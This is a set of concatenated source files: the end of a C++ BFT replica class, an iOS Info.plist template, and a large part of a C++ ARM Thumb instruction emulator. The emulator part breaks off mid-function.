std::shared_ptr<MsgsCommunicator> msgsCommunicator_;
std::shared_ptr<MsgHandlersRegistrator> msgHandlers_;
std::shared_ptr<IRequestsHandler> bftRequestsHandler_;
// last SeqNum executed by this replica (or its affect was transferred to this replica)
SeqNum lastExecutedSeqNum = 0;
//////////////////////////////////////////////////
// METRICS
std::chrono::seconds last_metrics_dump_time_;
std::chrono::seconds metrics_dump_interval_in_sec_;
concordMetrics::Component metrics_;
std::shared_ptr<concordMetrics::Aggregator> aggregator_;
///////////////////////////////////////////////////
// Timers
Timers::Handle debugStatTimer_;
Timers::Handle metricsTimer_;
concordUtil::Timers& timers_;
};
} // namespace bftEngine::impl
| 1,228 |
1,222 | <reponame>pchalupa/renative
{
"CFBundleDevelopmentRegion": "$(DEVELOPMENT_LANGUAGE)",
"CFBundleDisplayName": "{{PLUGIN_APPTITLE}}",
"CFBundleExecutable": "$(EXECUTABLE_NAME)",
"CFBundleIdentifier": "$(PRODUCT_BUNDLE_IDENTIFIER)",
"CFBundleInfoDictionaryVersion": "6.0",
"CFBundleName": "$(PRODUCT_NAME)",
"CFBundlePackageType": "APPL",
"CFBundleShortVersionString": "{{PLUGIN_VERSION_STRING}}",
"CFBundleURLTypes": [],
"CFBundleVersion": "1",
"LSApplicationQueriesSchemes": [],
"LSRequiresIPhoneOS": true,
"NSAppTransportSecurity": {
"NSAllowsArbitraryLoads": true
},
"UIAppFonts": [],
"UIBackgroundModes": [
"remote-notification"
],
"UIRequiresFullScreen": true,
"UILaunchStoryboardName": "LaunchScreen",
"UIUserInterfaceStyle": "Automatic",
"UIRequiredDeviceCapabilities": ["arm64"]
}
| 372 |
432 | /*
* Copyright 2018 <NAME>, <EMAIL>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "api_core.h"
#include "arm-isa.h"
#include "cpu_arm7_func.h"
namespace debugger {
/** 4.6.1 ADC (immediate) */
class ADC_I_T1 : public T1Instruction {
public:
ADC_I_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "ADC_I_T1") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t i = (ti >> 10) & 1;
uint32_t setflags = (ti >> 4) & 1;
uint32_t n = ti & 0xF;
uint32_t imm3 = (ti1 >> 12) & 0x7;
uint32_t d = (ti1 >> 8) & 0xF;
uint32_t imm8 = ti1 & 0xFF;
uint32_t overflow;
uint32_t carry;
uint32_t result;
uint32_t Rn = static_cast<uint32_t>(R[n]);
uint32_t imm32 = ThumbExpandImmWithC((i << 11) | (imm3 << 8) | imm8, &carry);
if (BadReg(d) || BadReg(n)) {
RISCV_error("%s", "UNPREDICTABLE");
}
result = AddWithCarry(Rn, imm32, icpu_->getC(), &overflow, &carry);
icpu_->setReg(d, result);
if (setflags) {
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(carry);
icpu_->setV(overflow);
}
return 4;
}
};
/** 4.6.3 ADD (immediate) */
class ADD_I_T1 : public T1Instruction {
public:
ADD_I_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "ADDS") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t d = ti & 0x7;
uint32_t n = (ti >> 3) & 0x7;
uint32_t imm32 = (ti >> 6) & 0x7;
bool setflags = !icpu_->InITBlock();
uint32_t overflow;
uint32_t carry;
uint32_t result;
uint32_t Rn = static_cast<uint32_t>(R[n]);
result = AddWithCarry(Rn, imm32, 0, &overflow, &carry);
icpu_->setReg(d, result);
if (setflags) {
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(carry);
icpu_->setV(overflow);
}
return 2;
}
};
class ADD_I_T2 : public T1Instruction {
public:
ADD_I_T2(CpuCortex_Functional *icpu) : T1Instruction(icpu, "ADDS") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t dn = (ti >> 8) & 0x7;
uint32_t imm32 = ti & 0xFF;
bool setflags = !icpu_->InITBlock();
uint32_t overflow;
uint32_t carry;
uint32_t result;
uint32_t Rn = static_cast<uint32_t>(R[dn]);
result = AddWithCarry(Rn, imm32, 0, &overflow, &carry);
icpu_->setReg(dn, result);
if (setflags) {
// Mask 0x7 no need to check on SP or PC
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(carry);
icpu_->setV(overflow);
}
return 2;
}
};
class ADD_I_T3 : public T1Instruction {
public:
ADD_I_T3(CpuCortex_Functional *icpu) : T1Instruction(icpu, "ADD.W") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t d = (ti1 >> 8) & 0xF;
uint32_t n = ti & 0xF;
bool setflags = (ti >> 4) & 1;
uint32_t i = (ti >> 10) & 1;
uint32_t imm3 = (ti1 >> 12) & 0x7;
uint32_t imm8 = ti1 & 0xFF;
uint32_t imm12 = (i << 11) | (imm3 << 8) | imm8;
uint32_t overflow;
uint32_t carry;
uint32_t result;
uint32_t imm32 = ThumbExpandImmWithC(imm12, &carry);
uint32_t Rn = static_cast<uint32_t>(R[n]);
if (BadReg(d) || n == Reg_pc) {
RISCV_error("%s", "UNPREDICTABLE");
}
result = AddWithCarry(Rn, imm32, 0, &overflow, &carry);
icpu_->setReg(d, result);
if (setflags) {
// Mask 0x7 no need to check on SP or PC
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(carry);
icpu_->setV(overflow);
}
return 4;
}
};
/** 4.6.4 ADD (register) */
class ADD_R_T1 : public T1Instruction {
public:
ADD_R_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "ADDS") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t d = ti & 0x7;
uint32_t n = (ti >> 3) & 0x7;
uint32_t m = (ti >> 6) & 0x7;
bool setflags = !icpu_->InITBlock();
uint32_t Rm = static_cast<uint32_t>(R[m]);
uint32_t Rn = static_cast<uint32_t>(R[n]);
uint32_t carry;
uint32_t overflow;
uint32_t result;
result = AddWithCarry(Rn, Rm, 0, &overflow, &carry);
icpu_->setReg(d, result);
if (setflags) {
// Mask 0x7 no need to check on SP or PC
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(carry);
icpu_->setV(overflow);
}
return 2;
}
};
class ADD_R_T2 : public T1Instruction {
public:
ADD_R_T2(CpuCortex_Functional *icpu) : T1Instruction(icpu, "ADD") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t m = (ti >> 3) & 0xF;
uint32_t DN = (ti >> 7) & 0x1;
uint32_t dn = (DN << 3) | (ti & 0x7);
uint32_t Rm = static_cast<uint32_t>(R[m]);
uint32_t Rn = static_cast<uint32_t>(R[dn]);
uint32_t carry;
uint32_t overflow;
uint32_t result;
result = AddWithCarry(Rn, Rm, 0, &overflow, &carry);
icpu_->setReg(dn, result);
if (dn == Reg_pc) {
ALUWritePC(result);
}
return 2;
}
};
class ADD_R_T3 : public T1Instruction {
public:
ADD_R_T3(CpuCortex_Functional *icpu) : T1Instruction(icpu, "ADD.W") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t d = (ti1 >> 8) & 0xF;
uint32_t n = ti & 0xF;
uint32_t m = ti1 & 0xF;
bool setflags = (ti >> 4) & 1;
uint32_t imm3 = (ti1 >> 12) & 0x7;
uint32_t imm2 = (ti1 >> 6) & 0x3;
uint32_t type = (ti1 >> 4) & 0x3;
uint32_t shift_n;
uint32_t overflow;
uint32_t carry;
uint32_t result;
uint32_t shifted;
SRType shift_t = DecodeImmShift(type, (imm3 << 2) | imm2, &shift_n);
uint32_t Rm = static_cast<uint32_t>(R[m]);
uint32_t Rn = static_cast<uint32_t>(R[n]);
if (BadReg(d) || n == Reg_pc || BadReg(m)) {
RISCV_error("%s", "UNPREDICTABLE");
}
shifted = Shift_C(Rm, shift_t, shift_n, icpu_->getC(), &carry);
result = AddWithCarry(Rn, shifted, 0, &overflow, &carry);
icpu_->setReg(d, result);
if (d == Reg_pc) {
ALUWritePC(result); // setflags always FALSE
} else {
if (setflags) {
// Mask 0x7 no need to check on SP or PC
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(carry);
icpu_->setV(overflow);
}
}
return 4;
}
};
/** 4.6.5 ADD (SP plus immediate) */
class ADDSP_I_T1 : public T1Instruction {
public:
ADDSP_I_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "ADD") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t d = (ti >> 8) & 0x7;
uint32_t imm32 = (ti & 0xFF) << 2;
uint32_t overflow;
uint32_t carry;
uint32_t result;
uint32_t SP = static_cast<uint32_t>(R[Reg_sp]);
result = AddWithCarry(SP, imm32, 0, &overflow, &carry);
icpu_->setReg(d, result);
return 2;
}
};
class ADDSP_I_T2 : public T1Instruction {
public:
ADDSP_I_T2(CpuCortex_Functional *icpu) : T1Instruction(icpu, "ADD") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t imm32 = (ti & 0x7F) << 2;
uint32_t overflow;
uint32_t carry;
uint32_t result;
uint32_t SP = static_cast<uint32_t>(R[Reg_sp]);
result = AddWithCarry(SP, imm32, 0, &overflow, &carry);
icpu_->setReg(Reg_sp, result);
return 2;
}
};
/** 4.6.7 ADR */
class ADR_T1 : public T1Instruction {
public:
ADR_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "ADR") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t d = (ti >> 8) & 0x7;
uint32_t imm32 = (ti & 0xFF) << 2;
uint32_t pc = static_cast<uint32_t>(icpu_->getPC()) + 4;
pc &= ~0x3; // Word-aligned PC
icpu_->setReg(d, pc + imm32);
return 2;
}
};
/** 4.6.8 AND (immediate) */
class AND_I_T1 : public T1Instruction {
public:
AND_I_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "AND.W") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t carry;
uint32_t result;
uint32_t d = (ti1 >> 8) & 0xF;
uint32_t n = ti & 0xF;
bool setflags = (ti >> 4) & 1;
uint32_t i = (ti >> 10) & 1;
uint32_t imm3 = (ti1 >> 12) & 0x7;
uint32_t imm8 = ti1 & 0xFF;
uint32_t imm12 = (i << 11) | (imm3 << 8) | imm8;
uint32_t Rn = static_cast<uint32_t>(R[n]);
uint32_t imm32 = ThumbExpandImmWithC(imm12, &carry);
if (BadReg(d) || BadReg(n)) {
RISCV_error("%s", "UNPREDICTABLE");
}
result = Rn & imm32;
icpu_->setReg(d, result);
if (setflags) {
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(carry);
// V unchanged
}
return 4;
}
};
/** 4.6.9 AND (register) */
class AND_R_T1 : public T1Instruction {
public:
AND_R_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "ANDS") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t dn = ti & 0x7;
uint32_t m = (ti >> 3) & 0x7;
bool setflags = !icpu_->InITBlock();
uint32_t Rm = static_cast<uint32_t>(R[m]);
uint32_t Rn = static_cast<uint32_t>(R[dn]);
uint32_t result = Rn & Rm;
icpu_->setReg(dn, result);
if (setflags) {
// Mask 0x7 no need to check on SP or PC
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
// C the same because no shoft
// V unchanged
}
return 2;
}
};
class AND_R_T2 : public T1Instruction {
public:
AND_R_T2(CpuCortex_Functional *icpu) : T1Instruction(icpu, "AND.W") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t d = (ti1 >> 8) & 0xF;
uint32_t n = ti & 0xF;
uint32_t m = ti1 & 0xF;
bool setflags = (ti >> 4) & 1;
uint32_t imm3 = (ti1 >> 12) & 0x7;
uint32_t imm2 = (ti1 >> 6) & 0x3;
uint32_t type = (ti1 >> 4) & 0x3;
uint32_t shift_n;
SRType shift_t = DecodeImmShift(type, (imm3 << 2) | imm2, &shift_n);
uint32_t Rm = static_cast<uint32_t>(R[m]);
uint32_t Rn = static_cast<uint32_t>(R[n]);
uint32_t carry;
uint32_t shifted;
uint32_t result;
if (BadReg(d) || BadReg(n) || BadReg(m)) {
RISCV_error("%s", "UNPREDICTABLE");
}
shifted = Shift_C(Rm, shift_t, shift_n, icpu_->getC(), &carry);
result = Rn & shifted;
icpu_->setReg(d, result);
if (setflags) {
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(carry);
// V unchanged
}
return 4;
}
};
/** 4.6.10 ASR (immediate) */
class ASR_I_T1 : public T1Instruction {
public:
ASR_I_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "ASR") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t result;
uint32_t d = ti & 0x7;
uint32_t m = (ti >> 3) & 0x7;
bool setflags = !icpu_->InITBlock();
uint32_t imm5 = (ti >> 6) & 0x1F;
uint32_t shift_n;
uint32_t carry;
uint32_t Rm = static_cast<uint32_t>(R[m]);
DecodeImmShift(2, imm5, &shift_n);
result = Shift_C(Rm, SRType_ASR, shift_n, icpu_->getC(), &carry);
icpu_->setReg(d, result);
if (setflags) {
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(carry);
// V unchanged
}
return 2;
}
};
/** 4.6.12 B */
class B_T1 : public T1Instruction {
public:
B_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "B") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t cond = (ti >> 8) & 0xF;
uint32_t imm8 = ti & 0xFF;
uint32_t imm32 = imm8 << 1;
if (ti & 0x80) {
imm32 |= (~0ul) << 9;
}
if (icpu_->InITBlock()) {
RISCV_error("%s", "UNPREDICTABLE");
}
if (check_cond(icpu_, cond)) {
uint32_t npc = static_cast<uint32_t>(icpu_->getPC()) + 4 + imm32;
BranchWritePC(npc);
}
return 2;
}
};
class B_T2 : public T1Instruction {
public:
B_T2(CpuCortex_Functional *icpu) : T1Instruction(icpu, "B") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t imm11 = ti & 0x7FF;
uint32_t imm32 = imm11 << 1;
if (ti & 0x400) {
imm32 |= (~0ul) << 12;
}
if (icpu_->InITBlock() && !icpu_->LastInITBlock()) {
RISCV_error("%s", "UNPREDICTABLE");
}
uint32_t npc = static_cast<uint32_t>(icpu_->getPC()) + 4 + imm32;
BranchWritePC(npc);
return 2;
}
};
class B_T3 : public T1Instruction {
public:
B_T3(CpuCortex_Functional *icpu) : T1Instruction(icpu, "B.W") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t cond = (ti >> 6) & 0xF;
uint32_t imm6 = ti & 0x3F;
uint32_t imm11 = ti1 & 0x7FF;
uint32_t S = (ti >> 10) & 1;
uint32_t J1 = (ti1 >> 13) & 1;
uint32_t J2 = (ti1 >> 11) & 1;
uint32_t imm32 = (J2 << 19) | (J1 << 18) | (imm6 << 12) | (imm11 << 1);
if (S) {
imm32 |= (~0ul) << 20;
}
if (icpu_->InITBlock()) {
RISCV_error("%s", "UNPREDICTABLE");
}
if (check_cond(icpu_, cond)) {
uint32_t npc = static_cast<uint32_t>(icpu_->getPC()) + 4 + imm32;
BranchWritePC(npc);
}
return 4;
}
};
class B_T4 : public T1Instruction {
public:
B_T4(CpuCortex_Functional *icpu) : T1Instruction(icpu, "B.W") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t S = (ti >> 10) & 1;
uint32_t imm10 = ti & 0x3FF;
uint32_t J1 = (ti1 >> 13) & 1;
uint32_t J2 = (ti1 >> 11) & 1;
uint32_t imm11 = ti1 & 0x7FF;
uint32_t I1 = (!(J1 ^ S)) & 1;
uint32_t I2 = (!(J2 ^ S)) & 1;
uint32_t imm32 = (I1 << 23) | (I2 << 22) | (imm10 << 12) | (imm11 << 1);
if (S) {
imm32 |= (~0ul) << 24;
}
if (icpu_->InITBlock() && !icpu_->LastInITBlock()) {
RISCV_error("%s", "UNPREDICTABLE");
}
uint32_t npc = static_cast<uint32_t>(icpu_->getPC()) + 4 + imm32;
BranchWritePC(npc);
return 4;
}
};
/** 4.6.15 BIC (immediate) */
class BIC_I_T1 : public T1Instruction {
public:
BIC_I_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "BIC.W") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti0 = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t carry;
uint32_t result;
uint32_t d = (ti1 >> 8) & 0xF;
uint32_t n = ti0 & 0xF;
bool setflags = (ti0 >> 4) & 1;
uint32_t i = (ti0 >> 10) & 1;
uint32_t imm3 = (ti1 >> 12) & 0x7;
uint32_t imm8 = ti1 & 0xFF;
uint32_t imm12 = (i << 11) | (imm3 << 8) | imm8;
uint32_t Rn = static_cast<uint32_t>(R[n]);
uint32_t imm32 = ThumbExpandImmWithC(imm12, &carry);
if (BadReg(d) || BadReg(n)) {
RISCV_error("%s", "UNPREDICTABLE");
}
result = Rn & ~imm32;
icpu_->setReg(d, result);
if (setflags) {
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(carry);
// V unchanged
}
return 4;
}
};
/** 4.6.17 BKPT */
class BKPT_T1 : public T1Instruction {
public:
BKPT_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "BKPT") {}
virtual int exec(Reg64Type *payload) {
icpu_->raiseSignal(Interrupt_SoftwareIdx);
icpu_->doNotCache(0);
return 2;
}
};
/** 4.6.18 BL, BLX (immediate) */
class BL_I_T1 : public T1Instruction {
public:
BL_I_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "BL_T1") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t instr0 = payload->buf16[0];
uint32_t instr1 = payload->buf16[1];
uint32_t S = (instr0 >> 10) & 1;
uint32_t I1 = (((instr1 >> 13) & 0x1) ^ S) ^ 1;
uint32_t I2 = (((instr1 >> 11) & 0x1) ^ S) ^ 1;
uint32_t imm11 = instr1 & 0x7FF;
uint32_t imm10 = instr0 & 0x3FF;
uint32_t imm32;
imm32 = (I1 << 23) | (I2 << 22) | (imm10 << 12) | (imm11 << 1);
if (S) {
imm32 |= (~0ul) << 24;
}
if (icpu_->InITBlock() && !icpu_->LastInITBlock()) {
RISCV_error("%s", "UNPREDICTABLE");
}
uint32_t pc = static_cast<uint32_t>(icpu_->getPC()) + 4;
uint32_t npc = pc + imm32;
icpu_->setInstrMode(THUMB_mode);
icpu_->setReg(Reg_lr, pc | 0x1);
BranchWritePC(npc);
return 4;
}
};
/** 4.6.19 BLX (register) */
class BLX_R_T1 : public T1Instruction {
public:
BLX_R_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "BLX") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t m = (ti >> 3) & 0xF;
uint32_t Rm = static_cast<uint32_t>(R[m]);
uint64_t next_instr_addr = icpu_->getPC() + 4 - 2;
if (m == Reg_pc) {
RISCV_error("%s", "UNPREDICTABLE");
}
if (icpu_->InITBlock() && !icpu_->LastInITBlock()) {
RISCV_error("%s", "UNPREDICTABLE");
}
icpu_->setReg(Reg_lr, next_instr_addr | 0x1);
BXWritePC(Rm);
return 2;
}
};
/** 4.6.20 BX */
class BX_T1 : public T1Instruction {
public:
BX_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "BX") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t instr0 = payload->buf16[0];
uint32_t m = (instr0 >> 3) & 0xF;
if (icpu_->InITBlock() && !icpu_->LastInITBlock()) {
RISCV_error("%s", "UNPREDICTABLE");
}
uint32_t Rm = static_cast<uint32_t>(R[m]);
BXWritePC(Rm);
return 2;
}
};
/** 4.6.22 CBNZ. Compare and Branch on Non-Zero */
class CBNZ_T1 : public T1Instruction {
public:
CBNZ_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "CBNZ") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t n = ti & 0x7;
uint32_t imm5 = (ti >> 3) & 0x1F;
uint32_t i = (ti >> 9) & 0x1;
uint32_t imm32 = (i << 6) | (imm5 << 1);
if (icpu_->InITBlock()) {
RISCV_error("%s", "UNPREDICTABLE");
}
if (R[n] != 0) {
uint32_t npc = static_cast<uint32_t>(icpu_->getPC()) + 4 + imm32;
BranchWritePC(npc);
}
return 2;
}
};
/** 4.6.23 CBZ. Compare and Branch on Zero */
class CBZ_T1 : public T1Instruction {
public:
CBZ_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "CBZ") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t n = ti & 0x7;
uint32_t imm5 = (ti >> 3) & 0x1F;
uint32_t i = (ti >> 9) & 0x1;
uint32_t imm32 = (i << 6) | (imm5 << 1);
if (icpu_->InITBlock()) {
RISCV_error("%s", "UNPREDICTABLE");
}
if (R[n] == 0) {
uint32_t npc = static_cast<uint32_t>(icpu_->getPC()) + 4 + imm32;
BranchWritePC(npc);
}
return 2;
}
};
/** 4.6.29 CMP (immediate) */
class CMP_I_T1 : public T1Instruction {
public:
CMP_I_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "CMP") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t carry;
uint32_t overflow;
uint32_t result;
uint32_t n = (ti >> 8) & 0x7;
uint32_t imm32 = ti & 0xFF;
uint32_t Rn = static_cast<uint32_t>(R[n]);
result = AddWithCarry(Rn, ~imm32, 1, &overflow, &carry);
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(carry);
icpu_->setV(overflow);
return 2;
}
};
class CMP_I_T2 : public T1Instruction {
public:
CMP_I_T2(CpuCortex_Functional *icpu) : T1Instruction(icpu, "CMP.W") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t carry;
uint32_t overflow;
uint32_t result;
uint32_t n = ti & 0xF;
uint32_t i = (ti >> 10) & 1;
uint32_t imm3 = (ti1 >> 12) & 0x7;
uint32_t imm8 = ti1 & 0xFF;
uint32_t imm12 = (i << 11) | (imm3 << 8) | imm8;
uint32_t imm32 = ThumbExpandImmWithC(imm12, &carry);
uint32_t Rn = static_cast<uint32_t>(R[n]);
if (n == Reg_pc) {
RISCV_error("%s", "UNPREDICTABLE");
}
result = AddWithCarry(Rn, ~imm32, 1, &overflow, &carry);
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(carry);
icpu_->setV(overflow);
return 4;
}
};
/** 4.6.30 CMP (register) */
class CMP_R_T1 : public T1Instruction {
public:
CMP_R_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "CMP") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t carry;
uint32_t overflow;
uint32_t result;
uint32_t n = ti & 0x7;
uint32_t m = (ti >> 3) & 0x7;
uint32_t shifted = static_cast<uint32_t>(R[m]); // no shifting
uint32_t Rn = static_cast<uint32_t>(R[n]);
result = AddWithCarry(Rn, ~shifted, 1, &overflow, &carry);
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(carry);
icpu_->setV(overflow);
return 2;
}
};
class CMP_R_T2 : public T1Instruction {
public:
CMP_R_T2(CpuCortex_Functional *icpu) : T1Instruction(icpu, "CMP") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t carry;
uint32_t overflow;
uint32_t result;
uint32_t N = (ti >> 7) & 0x1;
uint32_t n = (N << 3) | (ti & 0x7);
uint32_t m = (ti >> 3) & 0xF;
if (n < 8 && m < 8) {
RISCV_error("%s", "UNPREDICTABLE");
}
if (n == Reg_pc) {
RISCV_error("%s", "UNPREDICTABLE");
}
uint32_t shifted = static_cast<uint32_t>(R[m]); // no shifting
uint32_t Rn = static_cast<uint32_t>(R[n]);
result = AddWithCarry(Rn, ~shifted, 1, &overflow, &carry);
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(carry);
icpu_->setV(overflow);
return 2;
}
};
/** 4.6.31 CPS (Change Processor State) */
class CPS_T1 : public T1Instruction {
public:
CPS_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "CPS") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t disable = (ti >> 4) & 1;
uint32_t A = (ti >> 2) & 1;
uint32_t I = (ti >> 1) & 1;
uint32_t F = (ti >> 0) & 1;
if (icpu_->InITBlock()) {
RISCV_error("%s", "UNPREDICTABLE");
}
if (!disable) {
if (A) {
icpu_->setA(0);
}
if (I) {
icpu_->setI(0);
}
if (F) {
icpu_->setF(0);
}
} else {
if (A) {
icpu_->setA(1);
}
if (I) {
icpu_->setI(1);
}
if (F) {
icpu_->setF(1);
}
}
return 2;
}
};
/** 4.6.36 EOR (immediate) */
class EOR_I_T1 : public T1Instruction {
public:
EOR_I_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "EOR.W") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t carry;
uint32_t result;
uint32_t d = (ti1 >> 8) & 0xF;
uint32_t n = ti & 0xF;
bool setflags = (ti >> 4) & 1;
uint32_t i = (ti >> 10) & 1;
uint32_t imm3 = (ti1 >> 12) & 0x7;
uint32_t imm8 = ti1 & 0xFF;
uint32_t imm12 = (i << 11) | (imm3 << 8) | imm8;
uint32_t Rn = static_cast<uint32_t>(R[n]);
uint32_t imm32 = ThumbExpandImmWithC(imm12, &carry);
if (BadReg(d) || BadReg(n)) {
RISCV_error("%s", "UNPREDICTABLE");
}
result = Rn ^ imm32;
icpu_->setReg(d, result);
if (setflags) {
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(carry);
// V unchanged
}
return 4;
}
};
/** 4.6.37 EOR (register) */
class EOR_R_T1 : public T1Instruction {
public:
EOR_R_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "EORS") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t dn = ti & 0x7;
uint32_t m = (ti >> 3) & 0x7;
bool setflags = !icpu_->InITBlock();
uint32_t Rm = static_cast<uint32_t>(R[m]);
uint32_t Rn = static_cast<uint32_t>(R[dn]);
uint32_t result = Rn ^ Rm;
icpu_->setReg(dn, result);
if (setflags) {
// Mask 0x7 no need to check on SP or PC
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
// C the same because no shoft
// V unchanged
}
return 2;
}
};
/** 4.6.39 IT (IT Block) */
class IT_T1 : public T1Instruction {
public:
IT_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "IT") {}
virtual int exec(Reg64Type *payload) {
uint32_t ti = payload->buf16[0];
uint32_t firstcond = (ti >> 4) & 0xF;
uint32_t mask = ti & 0xF;
uint32_t BitCount = 0;
for (int i = 0; i < 4; i++) {
if (mask & (1 << i)) {
BitCount++;
}
}
if (firstcond == 0xF) {
RISCV_error("%s", "UNPREDICTABLE");
}
